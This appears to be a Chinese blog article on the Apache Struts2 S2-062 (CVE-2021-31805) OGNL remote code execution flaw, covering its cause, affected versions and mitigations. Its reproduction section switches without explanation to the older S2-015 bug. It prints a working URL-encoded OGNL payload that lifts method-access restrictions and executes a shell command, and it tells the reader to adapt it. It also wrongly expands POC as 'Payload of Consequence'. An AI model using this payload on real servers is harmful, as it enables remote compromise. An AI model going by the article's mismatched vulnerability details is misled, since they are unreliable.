Struts2 S2-062(CVE-2021-31805)漏洞是一个严重的远程代码执行漏洞,以下是关于该漏洞的详细分析:
漏洞
漏洞名称:Apache Struts2 S2-062(CVE-2021-31805)
发布时间:2022年4月12日
修复版本:Apache Struts2 2.5.30
影响范围:Apache Struts2 2.0.0至2.5.29
漏洞类型:远程代码执行(RCE)
漏洞成因
S2-062漏洞是由于2020年S2-061(CVE-2020-17530)漏洞的不完整修复造成的,当开发人员使用了%{…}语法进行强制OGNL解析时,仍有一些特殊的TAG属性可被二次解析,攻击者可构造恶意的OGNL表达式触发漏洞,从而实现远程代码执行。
漏洞细节
OGNL表达式滥用:Struts2在处理某些标签属性(如id)时,会对属性值进行二次表达式解析,这可能导致在某些场景下远程代码执行。
绕过沙箱限制:研究人员发现了一种方法,可以通过创建BeanMap并使用其setBean和put函数来清除excludedPackageNames和excludedClasses,从而取消沙箱限制,实现更广泛的代码执行。
影响范围
该漏洞影响了Apache Struts2从2.0.0到2.5.29的所有版本,由于Struts2是一个广泛使用的Web应用框架,特别是在大型互联网企业、政府、金融机构等网站建设中,因此该漏洞的潜在影响范围非常广泛。
漏洞复现步骤
以S2-015漏洞为例,复现步骤如下(这些步骤仅用于教育目的,实际操作可能涉及非法行为):
1、进入到S2-015的环境目录下并启动环境。
2、访问靶机(如http://192.168.100.244:8080)。
3、使用抓包工具(如Burp Suite)修改数据包,插入POC(Payload of Consequence),并进行URL编码。
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%2C%23q%7D.action
注意:实际使用时需要根据具体情况调整POC内容。
防护措施
为防止Struts2漏洞被利用,建议采取以下措施:
1、更新软件版本:将Struts2升级到最新的安全版本(如2.5.30或更高版本)。
2、限制使用:避免在生产环境中使用存在已知漏洞的旧版本软件。
3、输入验证与过滤:对所有用户输入进行严格的验证和过滤,以防止恶意代码注入。
4、安全配置:配置Web服务器和应用服务器的安全设置,限制不必要的访问权限。
5、定期审计与监控:定期对系统进行安全审计和监控,及时发现并处理潜在的安全威胁。
信息仅供参考,实际操作时应遵循相关法律法规和最佳实践。
小伙伴们,上文介绍st2 漏洞的内容,你了解清楚吗?希望对你有所帮助,任何问题可以给我留言,让我们下期再见吧。
本文来源于互联网,如若侵权,请联系管理员删除,本文链接:https://www.9969.net/87012.html